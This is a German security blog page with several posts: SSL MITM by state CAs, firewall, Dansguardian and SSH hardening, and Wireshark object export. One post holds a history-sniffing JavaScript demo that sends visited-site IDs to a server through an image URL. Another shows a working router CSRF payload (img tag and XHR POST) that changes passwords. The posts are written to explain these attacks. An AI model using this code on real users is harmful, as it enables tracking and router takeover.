dimis linkdump

Dieser Artikel basiert auf einer Veröffentlichung von Sid Stamm und Christopher Soghoian. S. Quelle (unten).

Nur kurz ein Überblick über den grundlegenden Aufbau von SSL:

SSL chain of trust

In der SSL pki gibt es drei Arten von Zertifikaten:

root CA:  Diese sind meist in Browsern hinterlegt. Das ist die s.g. Wurzelinstanz. Davon gibt es viele verschiedene.

intermediate CA: Die vorher genannte Wurzelinstanz vertraut diesen Zwischeninstanzen. Mit diesen Zwischeninstanzen können SSL-Zertifikate für alle Websites erstellt werden.  Kann der Browser die Vertrauenskette (chain of trust) bis zur in seiner Datenbank hinterlegten Wurzelinstanz (root CA) zurückverfolgen, wird dem SSL-Zertifikat vertraut und die bekannten blauen, grünen Balken und Vorhängeschlösser werden angezeigt um dem Nutzer eine verschlüsselte Verbindung anzuzeigen.

untrusted CA: CAs denen werder eine intermediate CA noch eine root CA vertraut, nennt sich untrusted CA. Hat eine Webseite ein solches Zertifikat hinterlegt, kommt die bekannte Meldung, dass “dieser Verbindung nicht getraut” wird.

Für den Endnutzer gibt es keinerlei Unterschied zwischen root CA und intermediate CA. Beide veranlassen den Browser eine “sichere” Verbindung anzuzeigen.

Dadurch könnte TÜRKTRUST ein Zertifikat für banking.postbank.de, obwohl das echte Zertifikat eigentlich von Verisign kommt. Bei beiden Zertifikaten würde der Browser eine sichere Verbindung zu banking.postbank.de anzeigen.

Staatliche SSL MITM-Angriffe

Sid Stamm und Christopher Soghoian haben in einem Paper einen neuen “Angriff” auf SSL vorgestellt den sie “compelled certificate creation attack” nennen.  Dieser kann vor allem von Geheimdiensten eingesetzt werden um mit SSL verschlüsselte Verbindungen zu überwachen.

Es gibt diverse interessante Punkte in dem Paper:

Chrome, Safari und der Internet Explorer setzen alle auf die im Windows  Trusted Root Store hinterlegten Zertifikate. Besonders pikant an dieser Tatsache ist, dass folgende staatliche root CAs standardmäßig hinterlegt sind:

Österreich, Brasilien, Finnland, Frankreich, Hong Kong, Indien, Japan, Korea, Lettland, Macao, Mexico, Portugal, Serbien, Slowenien, Spanien, Schweiz, Taiwan, Niederlande, Tunesien, Türkei, USA, Uruguay

Firefox hat eine eigene Datenbank für root CAs.

Im Paper wird auch ein Beispiel angegeben, was durch die Integration von staatlichen root CAs  möglich wäre:

As an example of what is currently possible,should it do so, the Korean Information SecurityAgency can create a valid SSL certificate for the Industrial and Commercial Bank of China (whose actual certificate is issued by VeriSign, USA), that can be used to perform an effective man-in-the-middle attack against users of Internet Explorer.

s. Quelle

Dieses Szenario halten die Forscher aber für eher unwahrscheinlich, da durch die Nutzung des eigenen staatlichen Zertifikats zu viele Spuren auf den abgehörten Rechnern bleiben würden.

Für viel wahrscheinlicher halten es die Forscher, dass Zertifizierungsstellen durch gesetzliche Regelungen und Geheimdienste dazu aufgefordert werden ihnen bei der Überwachung behilflich zu sein. Die Forscher nennen Beispiele aus den USA, bei denen diese Hilfestellung durch Telekommunikationsanbieter schoneinmal geschehen ist:

Examples of compelled assistance using these statutes include a secure email provider that was required to place a covert back door in its product in order to steal users’ encryption keys, and a consumer electronics company that was forced to remotely enable the microphones in a suspect’s auto-mobile dashboard GPS navigation unit in order to covertly record their conversations.

s. Quelle

Dass diese Szenarien durchaus real sein können,  wollen die Forscher auch beweisen. Im Oktober 2009 war einer der Autoren auf einer Konferenz in Washington, D.C., die die gesetzmäßige TK-Überwachung zum Thema hatte.

Eine der Firmen, die auch auf dieser Konferenz waren (Packet Forensics), hat dort die s.g. LI-5 Serie vorgestellt. Ein kleines Gerät, welches das “Internet Cafe Problem” ideal lösen soll:

The 5-Series is an ideal solution to the “Internet Cafe Problem”. Quick deplyment and remote control minimize personnel risk and maximize collection capabilities.

(Zitat aus dem Werbeprospekt,s. Quelle)

Interessant an dem Gerät sind die Features:

• Es kann ein- und ausgebaut werden, ohne dass der Netzwerkverkehr merklich gestört wird. (Auch bei Ausfall der Hardware)
• “Supports stealth upstream reporting (practically undetectable)”
• Es kann, um TLS / SSL-Verbindungen zu entschlüsseln und zu protokollieren,  ein valides Zertifikat hinterlegt werden. Da wurde quasi SSLStrip auf dem Gerät implementiert:

“Packet Forensics’ devices are designed to be inserted-into and removed-from busy networks without causing any noticeable interruption [...] This allows you to conditionally intercept web, e-mail, VoIP and other traffic at-will, even while it remains protected inside an encrypted tunnel on the wire. Using ‘man-in-the-middle’ to intercept TLS or SSL is essentially an attack against the underlying Diffie-Hellman cryptographic key agreement protocol [. . . ]To use our product in this scenario, [government] users have the ability to import a copy of any legitimate key they obtain (potentially by court order) or they can generate ‘look-alike’ keys designed to give the subject a false sense of confidence in its authenticity.”

(Zitat aus dem Werbeprospekt, s. Quelle)

Auf der Webseite von Packet Forensics ist die LI-5 Serie nur mit Username und Passwort zu erreichen:

http://www.packetforensics.com/products.safe

In dem Paper (Quelle) sind allerdings Scans von Werbeprospekten dabei, von denen auch die oben zitierten Texte stammen.

Weiter geht es in dem Paper auch um VeriSign und Etisalat und deren eventuelle Kooperation mit staatlichen Behören. Da bringen die Autoren allerdings keine echten Beweise sondern eher Vermutungen ins Spiel.

Wie die Situation in Deutschland ist, bleibt leider noch offen. Eine Bundes – CA ist scheinbar nicht in den Browsern integriert. Ob root CA-Anbieter in Deutschland dazu gezwungen werden können für bestimmte Domains  Zertifikate (oder gar komplette intermediate CAs) auszustellen, wird hoffentlich bald untersucht und veröffentlicht.

Quelle

http://files.cloudprivacy.net/ssl-mitm.pdf

Vielleicht hatte schonmal jemand das Problem: Die Standard-Konfiguration der Windows-Firewall ist zu lasch oder man will genau wissen, welcher Netzwerkverkehr den Rechner verlässt. Dann darf man natürlich nicht auf die vorkonfigurierten Regeln von Microsoft vertrauen.

Alle bestehenden Regeln können, mit Rechtsklick -  “Regel deaktivieren”, in einem Schwung deaktiviert werden. Anschließend sollten solche Elementaren Dienste wie DNS (“Kernnetzwerk – DNS (UDP ausgehend)”) wieder aktiviert werden. Sonst funktioniert natürlich erstmal nix mehr.

Einer dieser elementaren Dienste ist Windows Update. Leider sucht man sich den Wolf nach einer passenden Standard-Regel für Windows Update, die man wieder aktivieren kann. (Ich hab sie bisher auch nicht gefunden. Wenn die jemand findet, bitte melden!). Außerdem gab’s bei Google keinen passenden Beitrag, der beschreibt wie man Windows Update mit möglichst wenig Rechten den Weg ins Internet durch die Firewall freimachen kann. Das will ich hiermit ändern.

Die Windows Firewall ist bei Vista und Windows 7 unter Systemsteuerung => System und Sicherheit zu finden.

Im ersten Schritt muss eine neue Ausgehende Regel angelegt werden. Wählen wir “Benutzerdefiniert”.

Im nächsten Schritt tragen wir unter Programm “%systemroot%\system32\svchost.exe” ein. Unter Dienst wählen wir “Windows Update”.

Diese Einstellung hat zur Folge, dass nur der Dienst Windows Update freigeschalten wird und nicht pauschal alle Prozesse, die durch den svchost.exe gestartet werden. Die Windows Firewall identifiziert Dienste seit Windows Vista eindeutig über eine SID (Security Identifier). Damit die Regel angewendet wird, muss also SID (also Windows Update) und Programm (also svchost.exe) passen.

Die darauffolgende Fehlermeldung können wir ignorieren.

Im nächsten Fenster tragen wir als Protokoll TCP und als Remoteports 80,443 ein.

Wer lustig ist, kann im nächsten Fenster noch die IP-Ranges von Microsoft eintragen.  Muss aber nicht unbedingt sein…

In den nächsten Schritten sagen wir dem Assistent noch, dass er dei Verbindung zulassen soll und vergeben einen Namen. Zusätzlich sind noch die Netzwerke einzutragen – “öffentlich” sollte natürlich angehakt sein. Sonst funktioniert der ganze Spaß nicht.

Damit ist die Verbindung eingerichtet und Windows Update sollte funktionieren. Ein Test in der Systemsteuerung unter Windows Update “Updates suchen” zeigt uns, dass wir die Verbindung erfolgreich eingerichtet haben.

Ein täglicher auf den ISC-Blog von SANS lohnt sich definitiv. Heute wurde auf dem ISC-Blog ein interessantes Skript, welches ein User auf einem Server gefunden hat, vorgestellt. Dieses Skript ermöglicht es über PHP eine verteile Bruteforce-Attake auf WordPress-Blogs durchzuführen.

Das Skript bedient sich dazu der Möglichkeit unter PHP cURL zu nutzen.

cURL:

A free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, FILE, LDAP and LDAPS. libcurl supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading, kerberos, HTTP form based upload, proxies, cookies, user+password authentication, file transfer resume, http proxy tunneling and more.

Wikipedia

Es wurde nicht das komplette Skript veröffentlicht, sondern nur einige Code-Snippets. Wer das Skript haben möchte, sollte schnell anfangen zu programmieren

Im ersten veröffentlichten Screenshot erkennt man eine Funktion, die 3 verschiedene Parameter erwartet. $ch ist dabei der Handle, der durch curl_init() erstellt wurde. Das ist im Ausschnitt nicht zu sehen.  An diesen Handle werden nun alle erforderlichen Einstellungen angehängt und am Ende mittels curl_exec($ch) ausgeführt.

Parameter 2 und 3 ergeben sich logischerweise aus ihrem Namen.

Enthält die Antwort des Servers, also die zurückgelieferte Webseite, den Ausdruck “Log Out” war die Brute-Force Attacke erfolgreich. Das wird mittels

[...]

eregi(“Log Out”,$result)

[...]

überprüft.

Interessanter als die Nutzung von cURL in PHP ist die Möglichkeit, Seiten, die gecrackt werden sollen, in einer zentralen Instanz zu verwalten um verteiltes Cracken zu ermöglichen.

Zunächst holt sich das Skript aus einer zentralen MySQL-Datenbank 200 URLs, die gecrackt werden sollen und markiert diese in der Datenbank mit seiner persönlichen “colo_id”. Bricht das Skript nun aus irgendeinem Grund ab, holt sich das Skript die vorher markieren Einträge wieder aus der Datenbank und kann an der Stelle weitermachen, an der es abgebrochen wurde. Genau diesen Schritt stehen wir hier in diesem Screenshot:

Mittels “select url, site_type from site where colo_id=’$colo_id’” werden die Einträge aus der Datenbank geholt, an denen dieser “colo”, also dieses Skript, vorher gearbeitet hat.

Interessant ist auch die Möglichkeit, Passwortlisten zentral in einer Datenbank zu speichern und so allen Skripts zur Verfügung zu stellen.

Auf jeden Fall eine interessante und erwähnenswerte Idee, wie ich finde.

In Wireshark gibt es die Möglichkeit die mitgeschnittenen Daten aus dem Mitschnitt wieder zusammenzusetzen.  Das bedeutet man lauscht auf einer Leitung mit, speichert den Mitschnitt und kann anschließend einfach die besuchten Webseiten rekonstuieren.

Wie der Datenexport funktioniert will ich an 2 Beispielen demonstrieren.

1) Youtube-Video herunterladen

Mit dem eben erwähnten Feature in Wireshark ist es relativ einfach ein Video von Youtube herunterzuladen. Dazu starten wir zunächst Wireshark und anschließend lassen wir Wireshark alles mitschneiden, was in den nächsten Sekunden im Netzwerk passiert. Wenn der Mitschnitt läuft sollten zunächst nicht viele Pakete gelistet werden. Evtl. mal ein ARP-Paket oder andere Broadcasts. Diese können wir aber irgnorieren.

Youtube-Videos herunterladen mit Wireshark

Anschließend starten wir die “HTTP objekt list”. Diese ist unter “File => Export => Objekts => HTTP” zu finden. In diesem Fenster werden wir gleich alle über HTTP angefragten Objekte wiederfinden. Nun besuchen wir Youtube und schauen uns das Video an, welches wir herunterladen wollen.

Im HTTP objekt list-Fenster erscheint nun, nachdem das Video vollständig geladen wurde, neben einigen Bildern und HTML-Dateien, ein Eintrag bei dem in der Spalte “Content Type” “video/x-flv” steht. Dieser Eintrag entspricht dem Youtube-Video.

Indem wir den Eintrag markieren und mittels “Save As” abspeichern können wir das eben angeschaute Video exportieren und haben es somit als flv-Datei auf dem PC.

Dieses Verfahren funktioniert natürlich auf allen Streaming-Seiten. Evtl. variiert der Mime-Type (video/x-flv), der Vorgang bleibt aber der Selbe.

2) geschützte Bilder herunterladen

Manche kennen vielleicht das Problem: Da hat jemand, natürlich ohne zu fragen, einige Bilder vom letzten Freitag Abend bei *VZ (MeinVZ, StudiVZ, SchülerVZ,…) eingestellt. Nicht nur, dass man nicht gefragt wurde – nein, *VZ hat einen Mechanismus eingebaut, dass man diese Bilder nicht einfach per “Rechtsklick” -> “Speichern unter” herunterladen kann. Man kann also nichtmal die Bilder, auf denen man im Internet verewigt wurde, auf den eigene PC herunterladen.

Mit Wireshark aus StudiVZ Bilder herunterladen

Auch dieses Problem lässt sich mit der oben schon vorgeführten Technik umgehen. Dazu startet man wieder den Mitschnitt und das “HTTP objekt list”-Fenster und klickt anschließend das gewünschte Bild im *VZ an. Die große Version des Bilds wird nun geladen und unser “HTTP objekt list”-Fenster füllt sich.

Danach kann man im “HTTP objekt list”-Fenster einfach nach einem Eintrag mit Content Type “image/jpeg” und entsprechender Größe schauen. Abspeichern. Fertig.

Nachdem man einige Zeit Dansguardian genutzt hat erkennt man, dass Dansguardian doch einige Sachen blockt, die eigentlich harmlos sind. Folgende Einstellung habe ich nach einer Testwoche bei mir getätigt.

Zuerst habe ich etwas aktiviert, was man eigentlich nur im privaten Bereich aktivieren sollte. Den Filter-Bypass. Damit lässt sich per Link eine geblockte Seite temporär freischalten. Dazu klickt man einfach auf den in der Block-Seite eingeblendeten Link (ganz unten im Bild):

Der Bypass-Link übergibt Dansguardian eine GET-Variable mit einer Bypass-Key:

http://www.google.de/search?hl=de&q=[...];GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750

Diesen Key kann Dansguardian entweder automatisch generieren oder man kann selbst einen Key festlegen. Wird nun in einem eigentlich gesperrten Link, diese GBYPASS-Variable mit gültigem Wert übergeben, schaltet Dansguardian die Seite für eine bestimmte Zeit frei.

Anzumerken ist hierbei, dass bei einem Virus-Fund der Bypass-Link auch erscheint, aber keine gütlige Bypass-ID mit übergeben wird – d.h. ein Anwender kann keinen durch ClamAV gefundenen Virus mit dem Bypass auf den Rechner laden.

Einstellen des Filter-Bypass

In der gruppenspezifischen Konfigurationsdatei (/etc/dansguardian/dansguardianf1.conf) gibt es eine Zeile bypass = 0. Hier wird in Sekunden eingestellt, wie lange ein Bypass gütlig ist. Mein Wert: bypass = 300. Damit ist mein Bypass also 5 Minuten gültig. 0 deaktiviert den Bypass. Mit dem Eintrag bypasskey = ‘ ‘ könnte man einen eigenen Bypass-Key festlegen. Lässt man den Eintrag leer, generiert Dansguardian selbst einen Key.

Nun muss der Link noch in das Template der Blockseite eingebaut werden. Dazu bearbeiten wir folgende Datei: /etc/dansguardian/languages/german/template.html.  German ist hier natürlich entsprechen der in der dansguardian.conf eingestellten Sprache zu wählen. (Siehe 1. Blogeintrag zu Dansguardian).

In diese Datei fügen wir nun, an der gewünschten Stelle, folgenden HTML-Code ein:

<tr>

<td>

<td>

<center><a href=”-BYPASS-”>Bypass</a></center>

</td>

</tr>

Die Variable -BYPASS- ersetzt Dansguardian durch den Bypass-Link. Also z.B. durch:

http://www.google.de/search?hl=[…[&GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750

Damit hat nun jeder User die Möglichkeit den Filter kurzfristig zu umgehen.

Früher war es so, dass ein Großteil der Malware per E-Mail den Weg auf die Rechner fand. Heute ist es so, dass die meiste Malware über HTTP, also über Webseiten, verbreitet. Da bietet es sich doch an einen Contentfilter einzusetzen, der HTTP-Traffic scannen kann.

Ich habe mich dazu entschieden Dansguardian in Verbindung mit dem kostenlosen Virenscanner ClamAV auf meinem Gateway zu testen.

Installation

Dank Debian ist die Installation von Dansguardian ein Kinderspiel:

apt-get install dansguardian squid3

Mit diesem Befehl installiert Debian automatisch Dansguardian und squid3.

Konfiguration

Für den Anfang ist in der Squid-Konfigurationsdatei nichts zu machen – wenn sich Squid und Dansguardian auf dem gleichen Server befinden. Squid erlaubt per Default den Zugriff, wenn die Quelle des Zugriffs der localhost ist. Da sich in diesem Fall Squid und Dansguarian auf dem gleichen System befinden, sind die default-Einstellungen des Squid ausreichend.

/etc/squid3/squid.conf

acl localhost src 127.0.0.1/32
http_access allow localhost

Im Dansguardian hingegen gibt es Einstellungen, die geändert werden müssen / können / sollten:

/etc/dansguardian/dansguardian.conf

language = ‘german’

contentscanner = ‘/etc/dansguardian/contentscanners/clamav.conf’

Damit, funktioniert Dansguardian erstmal und untersucht allen Traffic mit ClamAV. Dansguarian lauscht per default auf Port 8080. Also muss im Browser die IP des Servers und dieser Port als Proxy eingetragen werden.

Noch einige wichtige Verzeichnisse:

/var/log/dansguardian/access.log – Speichert die Webseiten-Zugriffe

/etc/dansguardian/lists /- beinhaltet alle Listen, nach denen Dansguarian filtert.

/etc/dansguardian/languages/ – beinhaltet alle verfügbaren Sprachen

Soweit für den Anfang. Vor allem wenn man Dansguarian im privaten Bereich einsetzt, findet man mit der Zeit sicher einige Einstellungen, die man gerne ändern will. Mein Feintuning beschreibe ich dann in einem weiteren Post…

Wenn man einen Server mit SSH-Zugang im Internet stehen hat, findet man in den auth-Logs oft folgende Einträge:

Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2

Ein Brute-Force Angriff auf SSH. Um das zu unterbinden kann man beispielsweise zusätzliche Tools wie denyhosts oder einem Eintrag im IPTables-Skript einsetzen. Eine andere Möglichkeit ist der Einsatz von Zertifikaten statt einer klassischen Username/Passwort-Authentifikation.

Als Server nutze ich in diesem Fall den freien OpenSSH-Server (einfach installiert per apt-get install ssh) und als Client Putty. Wenn man Putty als SSH-Client nutzen will, muss das Schlüsselpaar (öffentlicher und privater Schlüssel) mit PuttyGen erstellt werden. Sonst kann auch der Befehl ssh-keygen in der Linuxkonsole verwendet werden.

PuttyGen

Nach einem Klick auf Generate bewegt man die Maus einige male im Fenster und erstellt so einige Zufallszahlen. Man sollte auch auf jeden Fall ein Passwort angeben – um bei Verlust der Zertifikate noch einen Schutz zu haben.

Danach hat man sein Schlüsselpaar erstellt. (beide Schlüssel abspeichern!)

Wichtig ist nun der hier rot eingerahmte Bereich. Diesen kopieren wir in die Zwischenablage und verbinden uns anschließend zum SSH-Server, allerdings nicht als root sondern als normaler User.

Im Home-Verzeichnis des Users wird nun der Ordner .ssh und darunter die Datei authorized_keys erstellt (/home/$user/.ssh/authorized_keys). Ordner und Datei dürfen maximal “rwx——“ also Dateirecht 700 haben. Sobald group oder others Rechte haben, akzeptiert der SSH-Server die verwendeten Zertifikate nicht.

In die eben erstellte Datei authorized_keys fügen wir den Public Key (Zwischenablage) auf PuttyGen ein. Hier ist zu beachten, dass der Key in einer Zeile stehen muss. Zeilenumbrüche bringen den Server dazu, den Schlüssel zu verweigern.

Ein bestimmte User kann sich nur mit dem privaten Schlüssel am Server anmelden, wenn der dazu passende öffentliche Schlüssel im home-Verzeichnis des Users, in der authorized_keys eingefügt wurde.

Nun sollte der Server bereit sein und eine Verbindung mit Zertifikaten akzeptieren. Dazu gibt am in Putty unter “Connection => SSH => Auth” den vorher erstellten Privaten Schlüssel an. Evtl. kann man unter “Connection => Data” noch einen Usernamen angeben, den man anmelden will. Dann entfällt ein Schritt beim Anmelden.

Anpassungen am Server

An SSHd-Config selbst ist nur wenig zu machen. Die Einstellungsdatei findet man unter Debian in der Datei /etc/ssh/sshd_config.

Zu Ändern:

PasswordAuthentication no

Damit wird zukünftig eine Authentifizierung per Benutzername/Passwort-Kombination verboten. D.h. jede Bruteforce-Attacke läuft ins leere.

!Achtung! Wenn diese Option geändert wird, kann man nicht mehr ohne Zertifikat auf SSH zugreifen. Also unbedingt sicher sein, dass die Authentifizierung per Zertifikat auch funktioniert.

Eigentlich Standard-Einstellung, nochmal überprüfen:

RSAAuthentication yes
PubkeyAuthentication yes

Danach muss kurz der SSHd neugestartet werden: /etc/init.d/ssh reload

Pageant

Pageant ist ein Tool, das private Zertifikate von Putty verwaltet. Nachdem Pageant gestartet wurde, ist es in der Taskleiste zu finden. Zunächst muss man einmal den privaten Schlüssel mit Passwort hinterlegen und ab sofort meldet sich Putty völlig automatisch am Server an – Pageant übernimmt die Passworteingabe, wenn ihm eine passende Passwort/Zertifikat-Kombination für die Verbindung hinterlegt wurde.

Zu beachten:

• Pageant verliert Password und Zertifikat, wenn es beendet wird. D.h. nach einem Neustart muss das Zertifikat neu eingebunden werden.
• Damit die Authentifizierung völlig ohne Benutzereingaben funktioniert, muss in Putty unter “Connection => Data” der Username hinterlegt sein.

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist.

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot.

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts!

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt

Es schwirrt wieder eine Meldung über einen Angriffsvektor gegen diverse Router durch die Online-Zeitschriften. Doch was steckt hinter dieser “hochgradigen” Gefahr?

Wer sich jetzt denkt: “Was schreibt der denn da fürn Quatsch?” Der möge sich doch kurz diesen Artikel durchlesen: PCWelt oder direkt bei TecChannel.

Leider hört TecChannel genau da auf, wo es interessant wird. Grundlos wie ich finde, denn wer diesen Angriff nachstellen will, schafft das auch ohne TecChannel.

Also, mich hat das Interessiert und deswegen hab ich es mir genauer angeschaut. Leider habe ich grade keine Fritzbox da – deswegen hab ich einfach mal mein AP zur Hilfe genommen. (Hersteller: a quip – fragt mich nicht welches Modell genau. Ist ein einfacher, 30 Euro AP).

Bei diesem AP ist es relativ einfach eine solche CSRF-Attacke durchzuführen. Einstellungen und Parameter werden über GET-Variablen übergeben. Wenn man sich mal die Seite zum Ändern des Passworts anschaut  findet man, neben einigen Javascript-Funktionen, das hier links dargestellte Formular in Quelltextform.

Dort sieht man, was beim ändern des Passworts  passiert: Nachdem man die Passwörter eingegeben hat, klickt man auf Apply und löst damit ein Javascript-Event (onclick) aus, welches anschließend eine Javascript-Funktion (OnSave()) aufruft. Diese macht einige Umformungen und ruft letztendlich eine URL auf, die ungefähr so aussieht:

http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656E75747A65726E616D65&OldPass=626C7562626572&Pass=647562697374646F6F66

In dieser URL sind die Werte (altes Passwort, neues Passwort,..) als Hex codiert. Indem diese URL aufgerufen wird, ändert sich das Passwort vom AP.

Jetzt muss man einen User nur noch dazu bringen, diesen Link aufzurufen oder bettet ihn einfach als Bild in eine Webseite ein – und das Passwort am Router ändert sich.

<img src=http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656[..] alt=””></img>

Wenn ich also ein solches img-Tag auf it-blogger.net einbinde, ändert sich das Passwort von allen, die den gleichen AP haben

Es gibt allerdings auch einige Einschränkungen:

• Der User muss momentan auf dem Webinterface des Routers sein oder
• er muss es in letzter Zeit mal geöffnet haben oder
• der Router arbeitet ohne Authentifizierung
• die IP muss bekannt sein

Besonders einfach ist die Sache natürlich, wenn ein Router das Passwort allein durch den Aufruf einer URL ändert (wie hier). Nur wenig komplizierter wird es, wenn die eingegebenen Passwörter über POST-Variablen geändert werden. Das wird, schätze ich, bei der FritzBox der Fall sein. Aber auch hier lässt sich z.B. über JavaScript eine CSRF-Attacke ausführen.

Mit der XMLHttpRequest-API lassen sich beliebige HTTP-Abfragen mit JavaScript erstellen. Dieses JavaScript bettet man anschließend in eine Webseite sein, die z.B. über eine XSS-Schwachstelle am Router diesem den Code unterschiebt.

<script type=”text/javascript”>
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
if (xmlHttp) {
xmlHttp.open(‘POST’, ‘index.php’, true);
xmlHttp.onreadystatechange = function () {
};
xmlHttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xmlHttp.send(“pass=11111111&pass2=222222222222″);
}

Hier sendet das Skript die Post-Variablen “pass” und “pass2” an die index.php. Um hier z.B. das Passwort der FritzBox zu ändern, müsste man natürlich den Quelltext analysieren und die Variablen entsprechend anpassen.

Nun könnt ihr ja selbst entscheiden die hochgradig die Gefahr ist